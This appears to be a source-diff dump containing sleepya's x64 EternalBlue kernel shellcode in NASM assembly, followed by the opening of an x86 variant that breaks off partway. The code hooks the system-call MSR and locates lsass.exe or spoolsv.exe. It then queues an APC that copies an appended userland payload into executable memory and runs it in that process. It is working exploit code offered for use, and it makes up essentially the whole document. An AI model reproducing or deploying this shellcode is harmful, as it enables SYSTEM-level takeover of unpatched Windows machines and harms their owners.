; Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya
|
||||||
|
; The shellcode is written for eternalblue exploit: eternalblue_exploit7.py and eternalblue_exploit8.py
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Note:
|
||||||
|
; - The userland shellcode is run in a new thread of system process.
|
||||||
|
; If userland shellcode causes any exception, the system process get killed.
|
||||||
|
; - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to
|
||||||
|
; get call because system call is called on other processors.
|
||||||
|
; - The shellcode do not allocate shadow stack if possible for minimal shellcode size.
|
||||||
|
; It is ok because some Windows function does not require shadow stack.
|
||||||
|
; - The userland payload MUST be appened to this shellcode.
|
||||||
|
;
|
||||||
|
; Reference:
|
||||||
|
; - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
|
||||||
|
; - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c
|
||||||
|
|
||||||
|
BITS 64
|
||||||
|
ORG 0
|
||||||
|
|
||||||
|
|
||||||
|
PSGETCURRENTPROCESS_HASH EQU 0xdbf47c78
|
||||||
|
PSGETPROCESSID_HASH EQU 0x170114e1
|
||||||
|
PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f
|
||||||
|
LSASS_EXE_HASH EQU 0xc1fa6a5a
|
||||||
|
SPOOLSV_EXE_HASH EQU 0x3ee083d8
|
||||||
|
ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea
|
||||||
|
KEINITIALIZEAPC_HASH EQU 0x6d195cc4
|
||||||
|
KEINSERTQUEUEAPC_HASH EQU 0xafcc4634
|
||||||
|
PSGETPROCESSPEB_HASH EQU 0xb818b848
|
||||||
|
CREATETHREAD_HASH EQU 0x835e515e
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
DATA_PEB_ADDR_OFFSET EQU -0x10
|
||||||
|
DATA_QUEUEING_KAPC_OFFSET EQU -0x8
|
||||||
|
DATA_ORIGIN_SYSCALL_OFFSET EQU 0x0
|
||||||
|
DATA_NT_KERNEL_ADDR_OFFSET EQU 0x8
|
||||||
|
DATA_KAPC_OFFSET EQU 0x10
|
||||||
|
|
||||||
|
section .text
|
||||||
|
global shellcode_start
|
||||||
|
|
||||||
|
shellcode_start:
|
||||||
|
|
||||||
|
setup_syscall_hook:
|
||||||
|
; IRQL is DISPATCH_LEVEL when got code execution
|
||||||
|
|
||||||
|
%ifdef WIN7
|
||||||
|
mov rdx, [rsp+0x40] ; fetch SRVNET_BUFFER address from function argument
|
||||||
|
; set nByteProcessed to free corrupted buffer after return
|
||||||
|
mov ecx, [rdx+0x2c]
|
||||||
|
mov [rdx+0x38], ecx
|
||||||
|
%elifdef WIN8
|
||||||
|
mov rdx, [rsp+0x40] ; fetch SRVNET_BUFFER address from function argument
|
||||||
|
; fix pool pointer (rcx is -0x8150 from controlled argument value)
|
||||||
|
add rcx, rdx
|
||||||
|
mov [rdx+0x30], rcx
|
||||||
|
; set nByteProcessed to free corrupted buffer after return
|
||||||
|
mov ecx, [rdx+0x48]
|
||||||
|
mov [rdx+0x40], ecx
|
||||||
|
%endif
|
||||||
|
|
||||||
|
push rbp
|
||||||
|
|
||||||
|
call set_rbp_data_address_fn
|
||||||
|
|
||||||
|
; read current syscall
|
||||||
|
mov ecx, 0xc0000082
|
||||||
|
rdmsr
|
||||||
|
; do NOT replace saved original syscall address with hook syscall
|
||||||
|
lea r9, [rel syscall_hook]
|
||||||
|
cmp eax, r9d
|
||||||
|
je _setup_syscall_hook_done
|
||||||
|
|
||||||
|
; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize
|
||||||
|
cmp dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET], eax
|
||||||
|
je _hook_syscall
|
||||||
|
|
||||||
|
; save original syscall
|
||||||
|
mov dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET+4], edx
|
||||||
|
mov dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET], eax
|
||||||
|
|
||||||
|
; first time on the target
|
||||||
|
mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], 0
|
||||||
|
|
||||||
|
_hook_syscall:
|
||||||
|
; set a new syscall on running processor
|
||||||
|
; setting MSR 0xc0000082 affects only running processor
|
||||||
|
xchg r9, rax
|
||||||
|
push rax
|
||||||
|
pop rdx ; mov rdx, rax
|
||||||
|
shr rdx, 32
|
||||||
|
wrmsr
|
||||||
|
|
||||||
|
_setup_syscall_hook_done:
|
||||||
|
pop rbp
|
||||||
|
|
||||||
|
%ifdef WIN7
|
||||||
|
xor eax, eax
|
||||||
|
%elifdef WIN8
|
||||||
|
xor eax, eax
|
||||||
|
%endif
|
||||||
|
ret
|
||||||
|
|
||||||
|
;========================================================================
|
||||||
|
; Find memory address in HAL heap for using as data area
|
||||||
|
; Return: rbp = data address
|
||||||
|
;========================================================================
|
||||||
|
set_rbp_data_address_fn:
|
||||||
|
; On idle target without user application, syscall on hijacked processor might not be called immediately.
|
||||||
|
; Find some address to store the data, the data in this address MUST not be modified
|
||||||
|
; when exploit is rerun before syscall is called
|
||||||
|
lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]
|
||||||
|
_set_rbp_data_address_fn_next:
|
||||||
|
shr rbp, 12
|
||||||
|
shl rbp, 12
|
||||||
|
sub rbp, 0x70 ; for KAPC struct too
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
syscall_hook:
|
||||||
|
swapgs
|
||||||
|
mov qword [gs:0x10], rsp
|
||||||
|
mov rsp, qword [gs:0x1a8]
|
||||||
|
push 0x2b
|
||||||
|
push qword [gs:0x10]
|
||||||
|
|
||||||
|
push rax ; want this stack space to store original syscall addr
|
||||||
|
; save rax first to make this function continue to real syscall
|
||||||
|
push rax
|
||||||
|
push rbp ; save rbp here because rbp is special register for accessing this shellcode data
|
||||||
|
call set_rbp_data_address_fn
|
||||||
|
mov rax, [rbp+DATA_ORIGIN_SYSCALL_OFFSET]
|
||||||
|
add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler
|
||||||
|
mov [rsp+0x10], rax
|
||||||
|
|
||||||
|
; save all volatile registers
|
||||||
|
push rcx
|
||||||
|
push rdx
|
||||||
|
push r8
|
||||||
|
push r9
|
||||||
|
push r10
|
||||||
|
push r11
|
||||||
|
|
||||||
|
; use lock cmpxchg for queueing APC only one at a time
|
||||||
|
xor eax, eax
|
||||||
|
mov dl, 1
|
||||||
|
lock cmpxchg byte [rbp+DATA_QUEUEING_KAPC_OFFSET], dl
|
||||||
|
jnz _syscall_hook_done
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; restore syscall
|
||||||
|
;======================================
|
||||||
|
; an error after restoring syscall should never occur
|
||||||
|
mov ecx, 0xc0000082
|
||||||
|
mov eax, [rbp+DATA_ORIGIN_SYSCALL_OFFSET]
|
||||||
|
mov edx, [rbp+DATA_ORIGIN_SYSCALL_OFFSET+4]
|
||||||
|
wrmsr
|
||||||
|
|
||||||
|
; allow interrupts while executing shellcode
|
||||||
|
sti
|
||||||
|
call r3_to_r0_start
|
||||||
|
cli
|
||||||
|
|
||||||
|
_syscall_hook_done:
|
||||||
|
pop r11
|
||||||
|
pop r10
|
||||||
|
pop r9
|
||||||
|
pop r8
|
||||||
|
pop rdx
|
||||||
|
pop rcx
|
||||||
|
pop rbp
|
||||||
|
pop rax
|
||||||
|
ret
|
||||||
|
|
||||||
|
r3_to_r0_start:
|
||||||
|
; save used non-volatile registers
|
||||||
|
push r15
|
||||||
|
push r14
|
||||||
|
push rdi
|
||||||
|
push rsi
|
||||||
|
push rbx
|
||||||
|
push rax ; align stack by 0x10
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; find nt kernel address
|
||||||
|
;======================================
|
||||||
|
mov r15, qword [rbp+DATA_ORIGIN_SYSCALL_OFFSET] ; KiSystemCall64 is an address in nt kernel
|
||||||
|
shr r15, 0xc ; strip to page size
|
||||||
|
shl r15, 0xc
|
||||||
|
|
||||||
|
_x64_find_nt_walk_page:
|
||||||
|
sub r15, 0x1000 ; walk along page size
|
||||||
|
cmp word [r15], 0x5a4d ; 'MZ' header
|
||||||
|
jne _x64_find_nt_walk_page
|
||||||
|
|
||||||
|
; save nt address for using in KernelApcRoutine
|
||||||
|
mov [rbp+DATA_NT_KERNEL_ADDR_OFFSET], r15
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; get current EPROCESS and ETHREAD
|
||||||
|
;======================================
|
||||||
|
mov r14, qword [gs:0x188] ; get _ETHREAD pointer from KPCR
|
||||||
|
mov edi, PSGETCURRENTPROCESS_HASH
|
||||||
|
call win_api_direct
|
||||||
|
xchg rcx, rax ; rcx = EPROCESS
|
||||||
|
|
||||||
|
; r15 : nt kernel address
|
||||||
|
; r14 : ETHREAD
|
||||||
|
; rcx : EPROCESS
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; find offset of EPROCESS.ImageFilename
|
||||||
|
;======================================
|
||||||
|
mov edi, PSGETPROCESSIMAGEFILENAME_HASH
|
||||||
|
call get_proc_addr
|
||||||
|
mov eax, dword [rax+3] ; get offset from code (offset of ImageFilename is always > 0x7f)
|
||||||
|
mov ebx, eax ; ebx = offset of EPROCESS.ImageFilename
|
||||||
|
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; find offset of EPROCESS.ThreadListHead
|
||||||
|
;======================================
|
||||||
|
; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)
|
||||||
|
; if offset of ImageFilename is more than 0x400, current is (Win8+)
|
||||||
|
%ifdef WIN7
|
||||||
|
lea rdx, [rax+0x28]
|
||||||
|
%elifdef WIN8
|
||||||
|
lea rdx, [rax+0x38]
|
||||||
|
%else
|
||||||
|
cmp eax, 0x400 ; eax is still an offset of EPROCESS.ImageFilename
|
||||||
|
jb _find_eprocess_threadlist_offset_win7
|
||||||
|
add eax, 0x10
|
||||||
|
_find_eprocess_threadlist_offset_win7:
|
||||||
|
lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead
|
||||||
|
%endif
|
||||||
|
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; find offset of ETHREAD.ThreadListEntry
|
||||||
|
;======================================
|
||||||
|
%ifdef COMPACT
|
||||||
|
lea r9, [rcx+rdx] ; r9 = ETHREAD listEntry
|
||||||
|
%else
|
||||||
|
lea r8, [rcx+rdx] ; r8 = address of EPROCESS.ThreadListHead
|
||||||
|
mov r9, r8
|
||||||
|
%endif
|
||||||
|
; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700
|
||||||
|
_find_ethread_threadlist_offset_loop:
|
||||||
|
mov r9, qword [r9]
|
||||||
|
%ifndef COMPACT
|
||||||
|
cmp r8, r9 ; check end of list
|
||||||
|
je _insert_queue_apc_done ; not found !!!
|
||||||
|
%endif
|
||||||
|
; if (r9 - r14 < 0x700) found
|
||||||
|
mov rax, r9
|
||||||
|
sub rax, r14
|
||||||
|
cmp rax, 0x700
|
||||||
|
ja _find_ethread_threadlist_offset_loop
|
||||||
|
sub r14, r9 ; r14 = -(offset of ETHREAD.ThreadListEntry)
|
||||||
|
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; find offset of EPROCESS.ActiveProcessLinks
|
||||||
|
;======================================
|
||||||
|
mov edi, PSGETPROCESSID_HASH
|
||||||
|
call get_proc_addr
|
||||||
|
mov edi, dword [rax+3] ; get offset from code (offset of UniqueProcessId is always > 0x7f)
|
||||||
|
add edi, 8 ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)
|
||||||
|
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
|
||||||
|
;======================================
|
||||||
|
; check process name
|
||||||
|
_find_target_process_loop:
|
||||||
|
lea rsi, [rcx+rbx]
|
||||||
|
call calc_hash
|
||||||
|
cmp eax, LSASS_EXE_HASH ; "lsass.exe"
|
||||||
|
%ifndef COMPACT
|
||||||
|
jz found_target_process
|
||||||
|
cmp eax, SPOOLSV_EXE_HASH ; "spoolsv.exe"
|
||||||
|
%endif
|
||||||
|
jz found_target_process
|
||||||
|
; next process
|
||||||
|
mov rcx, [rcx+rdi]
|
||||||
|
sub rcx, rdi
|
||||||
|
jmp _find_target_process_loop
|
||||||
|
|
||||||
|
|
||||||
|
found_target_process:
|
||||||
|
; The allocation for userland payload will be in KernelApcRoutine.
|
||||||
|
; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; save process PEB for finding CreateThread address in kernel KAPC routine
|
||||||
|
;======================================
|
||||||
|
mov edi, PSGETPROCESSPEB_HASH
|
||||||
|
; rcx is EPROCESS. no need to set it.
|
||||||
|
call win_api_direct
|
||||||
|
mov [rbp+DATA_PEB_ADDR_OFFSET], rax
|
||||||
|
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; iterate ThreadList until KeInsertQueueApc() success
|
||||||
|
;======================================
|
||||||
|
; r15 = nt
|
||||||
|
; r14 = -(offset of ETHREAD.ThreadListEntry)
|
||||||
|
; rcx = EPROCESS
|
||||||
|
; edx = offset of EPROCESS.ThreadListHead
|
||||||
|
|
||||||
|
%ifdef COMPACT
|
||||||
|
lea rbx, [rcx + rdx]
|
||||||
|
%else
|
||||||
|
lea rsi, [rcx + rdx] ; rsi = ThreadListHead address
|
||||||
|
mov rbx, rsi ; use rbx for iterating thread
|
||||||
|
%endif
|
||||||
|
|
||||||
|
|
||||||
|
; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
|
||||||
|
; Moreover, alertable thread need to be waiting state which is more difficult to check.
|
||||||
|
; try queueing APC then check KAPC member is more reliable.
|
||||||
|
|
||||||
|
_insert_queue_apc_loop:
|
||||||
|
; TODO: do not try to queue APC if TEB.ActivationContextStackPointer is NULL
|
||||||
|
; if TEB.ActivationContextStackPointer is NULL, system will be reboot after inserting APC to queue
|
||||||
|
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
|
||||||
|
mov rbx, [rbx+8]
|
||||||
|
%ifndef COMPACT
|
||||||
|
cmp rsi, rbx
|
||||||
|
je _insert_queue_apc_loop ; skip list head
|
||||||
|
%endif
|
||||||
|
|
||||||
|
; KeInitializeApc(PKAPC,
|
||||||
|
; PKTHREAD,
|
||||||
|
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
|
||||||
|
; PKKERNEL_ROUTINE = kernel_apc_routine,
|
||||||
|
; PKRUNDOWN_ROUTINE = NULL,
|
||||||
|
; PKNORMAL_ROUTINE = userland_shellcode,
|
||||||
|
; KPROCESSOR_MODE = UserMode (1),
|
||||||
|
; PVOID Context);
|
||||||
|
lea rcx, [rbp+DATA_KAPC_OFFSET] ; PAKC
|
||||||
|
xor r8, r8 ; OriginalApcEnvironment
|
||||||
|
lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine
|
||||||
|
push rbp ; context
|
||||||
|
push 1 ; UserMode
|
||||||
|
push rbp ; userland shellcode (MUST NOT be NULL)
|
||||||
|
push r8 ; NULL
|
||||||
|
lea rdx, [rbx + r14] ; ETHREAD
|
||||||
|
sub rsp, 0x20 ; shadow stack
|
||||||
|
mov edi, KEINITIALIZEAPC_HASH
|
||||||
|
call win_api_direct
|
||||||
|
; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later
|
||||||
|
|
||||||
|
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
|
||||||
|
; SystemArgument1 is second argument in usermode code (rdx)
|
||||||
|
; SystemArgument2 is third argument in usermode code (r8)
|
||||||
|
lea rcx, [rbp+DATA_KAPC_OFFSET]
|
||||||
|
;xor edx, edx ; no need to set it here
|
||||||
|
;xor r8, r8 ; no need to set it here
|
||||||
|
xor r9, r9
|
||||||
|
mov edi, KEINSERTQUEUEAPC_HASH
|
||||||
|
call win_api_direct
|
||||||
|
add rsp, 0x40
|
||||||
|
; if insertion failed, try next thread
|
||||||
|
test eax, eax
|
||||||
|
jz _insert_queue_apc_loop
|
||||||
|
|
||||||
|
mov rax, [rbp+DATA_KAPC_OFFSET+0x10] ; get KAPC.ApcListEntry
|
||||||
|
; EPROCESS pointer 8 bytes
|
||||||
|
; InProgressFlags 1 byte
|
||||||
|
; KernelApcPending 1 byte
|
||||||
|
; if success, UserApcPending MUST be 1
|
||||||
|
cmp byte [rax+0x1a], 1
|
||||||
|
je _insert_queue_apc_done
|
||||||
|
|
||||||
|
; manual remove list without lock
|
||||||
|
mov [rax], rax
|
||||||
|
mov [rax+8], rax
|
||||||
|
jmp _insert_queue_apc_loop
|
||||||
|
|
||||||
|
_insert_queue_apc_done:
|
||||||
|
; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.
|
||||||
|
|
||||||
|
_r3_to_r0_done:
|
||||||
|
pop rax
|
||||||
|
pop rbx
|
||||||
|
pop rsi
|
||||||
|
pop rdi
|
||||||
|
pop r14
|
||||||
|
pop r15
|
||||||
|
ret
|
||||||
|
|
||||||
|
;========================================================================
|
||||||
|
; Call function in specific module
|
||||||
|
;
|
||||||
|
; All function arguments are passed as calling normal function with extra register arguments
|
||||||
|
; Extra Arguments: r15 = module pointer
|
||||||
|
; edi = hash of target function name
|
||||||
|
;========================================================================
|
||||||
|
win_api_direct:
|
||||||
|
call get_proc_addr
|
||||||
|
jmp rax
|
||||||
|
|
||||||
|
|
||||||
|
;========================================================================
|
||||||
|
; Get function address in specific module
|
||||||
|
;
|
||||||
|
; Arguments: r15 = module pointer
|
||||||
|
; edi = hash of target function name
|
||||||
|
; Return: eax = offset
|
||||||
|
;========================================================================
|
||||||
|
get_proc_addr:
|
||||||
|
; Save registers
|
||||||
|
push rbx
|
||||||
|
push rcx
|
||||||
|
push rsi ; for using calc_hash
|
||||||
|
|
||||||
|
; use rax to find EAT
|
||||||
|
mov eax, dword [r15+60] ; Get PE header e_lfanew
|
||||||
|
mov eax, dword [r15+rax+136] ; Get export tables RVA
|
||||||
|
|
||||||
|
add rax, r15
|
||||||
|
push rax ; save EAT
|
||||||
|
|
||||||
|
mov ecx, dword [rax+24] ; NumberOfFunctions
|
||||||
|
mov ebx, dword [rax+32] ; FunctionNames
|
||||||
|
add rbx, r15
|
||||||
|
|
||||||
|
_get_proc_addr_get_next_func:
|
||||||
|
; When we reach the start of the EAT (we search backwards), we hang or crash
|
||||||
|
dec ecx ; decrement NumberOfFunctions
|
||||||
|
mov esi, dword [rbx+rcx*4] ; Get rva of next module name
|
||||||
|
add rsi, r15 ; Add the modules base address
|
||||||
|
|
||||||
|
call calc_hash
|
||||||
|
|
||||||
|
cmp eax, edi ; Compare the hashes
|
||||||
|
jnz _get_proc_addr_get_next_func ; try the next function
|
||||||
|
|
||||||
|
_get_proc_addr_finish:
|
||||||
|
pop rax ; restore EAT
|
||||||
|
mov ebx, dword [rax+36]
|
||||||
|
add rbx, r15 ; ordinate table virtual address
|
||||||
|
mov cx, word [rbx+rcx*2] ; desired functions ordinal
|
||||||
|
mov ebx, dword [rax+28] ; Get the function addresses table rva
|
||||||
|
add rbx, r15 ; Add the modules base address
|
||||||
|
mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA
|
||||||
|
add rax, r15 ; Add the modules base address to get the functions actual VA
|
||||||
|
|
||||||
|
pop rsi
|
||||||
|
pop rcx
|
||||||
|
pop rbx
|
||||||
|
ret
|
||||||
|
|
||||||
|
;========================================================================
|
||||||
|
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
|
||||||
|
;
|
||||||
|
; Argument: rsi = string to hash
|
||||||
|
; Clobber: rsi
|
||||||
|
; Return: eax = hash
|
||||||
|
;========================================================================
|
||||||
|
calc_hash:
|
||||||
|
push rdx
|
||||||
|
xor eax, eax
|
||||||
|
cdq
|
||||||
|
_calc_hash_loop:
|
||||||
|
lodsb ; Read in the next byte of the ASCII string
|
||||||
|
ror edx, 13 ; Rotate right our hash value
|
||||||
|
add edx, eax ; Add the next byte of the string
|
||||||
|
test eax, eax ; Stop when found NULL
|
||||||
|
jne _calc_hash_loop
|
||||||
|
xchg edx, eax
|
||||||
|
pop rdx
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
|
||||||
|
; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
|
||||||
|
; Moreover, there is no lock when calling KernelApcRoutine.
|
||||||
|
; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.
|
||||||
|
;
|
||||||
|
; VOID KernelApcRoutine(
|
||||||
|
; IN PKAPC Apc,
|
||||||
|
; IN PKNORMAL_ROUTINE *NormalRoutine,
|
||||||
|
; IN PVOID *NormalContext,
|
||||||
|
; IN PVOID *SystemArgument1,
|
||||||
|
; IN PVOID *SystemArgument2)
|
||||||
|
kernel_kapc_routine:
|
||||||
|
push rbp
|
||||||
|
push rbx
|
||||||
|
push rdi
|
||||||
|
push rsi
|
||||||
|
push r15
|
||||||
|
|
||||||
|
mov rbp, [r8] ; *NormalContext is our data area pointer
|
||||||
|
|
||||||
|
mov r15, [rbp+DATA_NT_KERNEL_ADDR_OFFSET]
|
||||||
|
push rdx
|
||||||
|
pop rsi ; mov rsi, rdx
|
||||||
|
mov rbx, r9
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
|
||||||
|
;======================================
|
||||||
|
xor eax, eax
|
||||||
|
mov cr8, rax ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
|
||||||
|
; rdx is already address of baseAddr
|
||||||
|
mov [rdx], rax ; baseAddr = 0
|
||||||
|
mov ecx, eax
|
||||||
|
not rcx ; ProcessHandle = -1
|
||||||
|
mov r8, rax ; ZeroBits
|
||||||
|
mov al, 0x40 ; eax = 0x40
|
||||||
|
push rax ; PAGE_EXECUTE_READWRITE = 0x40
|
||||||
|
shl eax, 6 ; eax = 0x40 << 6 = 0x1000
|
||||||
|
push rax ; MEM_COMMIT = 0x1000
|
||||||
|
; reuse r9 for address of RegionSize
|
||||||
|
mov [r9], rax ; RegionSize = 0x1000
|
||||||
|
sub rsp, 0x20 ; shadow stack
|
||||||
|
mov edi, ZWALLOCATEVIRTUALMEMORY_HASH
|
||||||
|
call win_api_direct
|
||||||
|
add rsp, 0x30
|
||||||
|
%ifndef COMPACT
|
||||||
|
; check error
|
||||||
|
test eax, eax
|
||||||
|
jnz _kernel_kapc_routine_exit
|
||||||
|
%endif
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; copy userland payload
|
||||||
|
;======================================
|
||||||
|
mov rdi, [rsi]
|
||||||
|
lea rsi, [rel userland_start]
|
||||||
|
mov ecx, 0x600 ; fix payload size to 1536 bytes
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; find CreateThread address (in kernel32.dll)
|
||||||
|
;======================================
|
||||||
|
mov rax, [rbp+DATA_PEB_ADDR_OFFSET]
|
||||||
|
mov rax, [rax + 0x18] ; PEB->Ldr
|
||||||
|
mov rax, [rax + 0x20] ; InMemoryOrder list
|
||||||
|
|
||||||
|
%ifdef COMPACT
|
||||||
|
mov rsi, [rax] ; first one always be executable, skip it
|
||||||
|
lodsq ; skip ntdll.dll
|
||||||
|
%else
|
||||||
|
_find_kernel32_dll_loop:
|
||||||
|
mov rax, [rax] ; first one always be executable
|
||||||
|
; offset 0x38 (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
|
||||||
|
; offset 0x48 (WORD) => must be 0x18 (name len kernel32.dll)
|
||||||
|
; offset 0x50 => is name
|
||||||
|
; offset 0x20 => is dllbase
|
||||||
|
;cmp word [rax+0x38], 0x40
|
||||||
|
;jne _find_kernel32_dll_loop
|
||||||
|
cmp word [rax+0x48], 0x18
|
||||||
|
jne _find_kernel32_dll_loop
|
||||||
|
|
||||||
|
mov rdx, [rax+0x50]
|
||||||
|
; check only "32" because name might be lowercase or uppercase
|
||||||
|
cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00
|
||||||
|
jnz _find_kernel32_dll_loop
|
||||||
|
%endif
|
||||||
|
|
||||||
|
mov r15, [rax+0x20]
|
||||||
|
mov edi, CREATETHREAD_HASH
|
||||||
|
call get_proc_addr
|
||||||
|
|
||||||
|
; save CreateThread address to SystemArgument1
|
||||||
|
mov [rbx], rax
|
||||||
|
|
||||||
|
_kernel_kapc_routine_exit:
|
||||||
|
xor ecx, ecx
|
||||||
|
; clear queueing kapc flag, allow other hijacked system call to run shellcode
|
||||||
|
mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], cl
|
||||||
|
; restore IRQL to APC_LEVEL
|
||||||
|
mov cl, 1
|
||||||
|
mov cr8, rcx
|
||||||
|
|
||||||
|
pop r15
|
||||||
|
pop rsi
|
||||||
|
pop rdi
|
||||||
|
pop rbx
|
||||||
|
pop rbp
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
userland_start:
|
||||||
|
userland_start_thread:
|
||||||
|
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
|
||||||
|
xchg rdx, rax ; rdx is CreateThread address passed from kernel
|
||||||
|
xor ecx, ecx ; lpThreadAttributes = NULL
|
||||||
|
push rcx ; lpThreadId = NULL
|
||||||
|
push rcx ; dwCreationFlags = 0
|
||||||
|
mov r9, rcx ; lpParameter = NULL
|
||||||
|
lea r8, [rel userland_payload] ; lpStartAddr
|
||||||
|
mov edx, ecx ; dwStackSize = 0
|
||||||
|
sub rsp, 0x20
|
||||||
|
call rax
|
||||||
|
add rsp, 0x30
|
||||||
|
ret
|
||||||
|
|
||||||
|
userland_payload:
|
||||||
568
shellcode/eternalblue_kshellcode_x86.asm
Normal file
568
shellcode/eternalblue_kshellcode_x86.asm
Normal file
@@ -0,0 +1,568 @@
|
|||||||
|
;
|
||||||
|
; Windows x86 kernel shellcode from ring 0 to ring 3 by sleepya
|
||||||
|
; The shellcode is written for eternalblue exploit: eternalblue_exploit7.py
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Note:
|
||||||
|
; - The userland shellcode is run in a new thread of system process.
|
||||||
|
; If userland shellcode causes any exception, the system process get killed.
|
||||||
|
; - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to
|
||||||
|
; get call because system call is called on other processors.
|
||||||
|
; - The userland payload MUST be appened to this shellcode.
|
||||||
|
;
|
||||||
|
; Reference:
|
||||||
|
; - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
|
||||||
|
; - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c
|
||||||
|
|
||||||
|
BITS 32
|
||||||
|
ORG 0
|
||||||
|
|
||||||
|
|
||||||
|
PSGETCURRENTPROCESS_HASH EQU 0xdbf47c78
|
||||||
|
PSGETPROCESSID_HASH EQU 0x170114e1
|
||||||
|
PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f
|
||||||
|
LSASS_EXE_HASH EQU 0xc1fa6a5a
|
||||||
|
SPOOLSV_EXE_HASH EQU 0x3ee083d8
|
||||||
|
ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea
|
||||||
|
KEINITIALIZEAPC_HASH EQU 0x6d195cc4
|
||||||
|
KEINSERTQUEUEAPC_HASH EQU 0xafcc4634
|
||||||
|
PSGETPROCESSPEB_HASH EQU 0xb818b848
|
||||||
|
CREATETHREAD_HASH EQU 0x835e515e
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
DATA_ORIGIN_SYSCALL_OFFSET EQU 0x0
|
||||||
|
DATA_MODULE_ADDR_OFFSET EQU 0x4
|
||||||
|
DATA_QUEUEING_KAPC_OFFSET EQU 0x8
|
||||||
|
DATA_EPROCESS_OFFSET EQU 0xc
|
||||||
|
DATA_KAPC_OFFSET EQU 0x10
|
||||||
|
|
||||||
|
section .text
|
||||||
|
global shellcode_start
|
||||||
|
|
||||||
|
shellcode_start:
|
||||||
|
|
||||||
|
setup_syscall_hook:
|
||||||
|
; IRQL is DISPATCH_LEVEL when got code execution
|
||||||
|
%ifdef WIN7
|
||||||
|
mov eax, [esp+0x20] ; fetch SRVNET_BUFFER address from function argument
|
||||||
|
; set nByteProcessed to free corrupted buffer after return
|
||||||
|
mov ecx, [eax+0x14]
|
||||||
|
mov [eax+0x1c], ecx
|
||||||
|
%elifdef WIN8
|
||||||
|
%endif
|
||||||
|
|
||||||
|
pushad
|
||||||
|
|
||||||
|
call _setup_syscall_hook_find_eip
|
||||||
|
_setup_syscall_hook_find_eip:
|
||||||
|
pop ebx
|
||||||
|
|
||||||
|
call set_ebp_data_address_fn
|
||||||
|
|
||||||
|
; read current syscall
|
||||||
|
mov ecx, 0x176
|
||||||
|
rdmsr
|
||||||
|
; do NOT replace saved original syscall address with hook syscall
|
||||||
|
lea edi, [ebx+syscall_hook-_setup_syscall_hook_find_eip]
|
||||||
|
cmp eax, edi
|
||||||
|
je _setup_syscall_hook_done
|
||||||
|
|
||||||
|
; if (saved_original_syscall != &KiFastCallEntry) do_first_time_initialize
|
||||||
|
cmp dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax
|
||||||
|
je _hook_syscall
|
||||||
|
|
||||||
|
; save original syscall
|
||||||
|
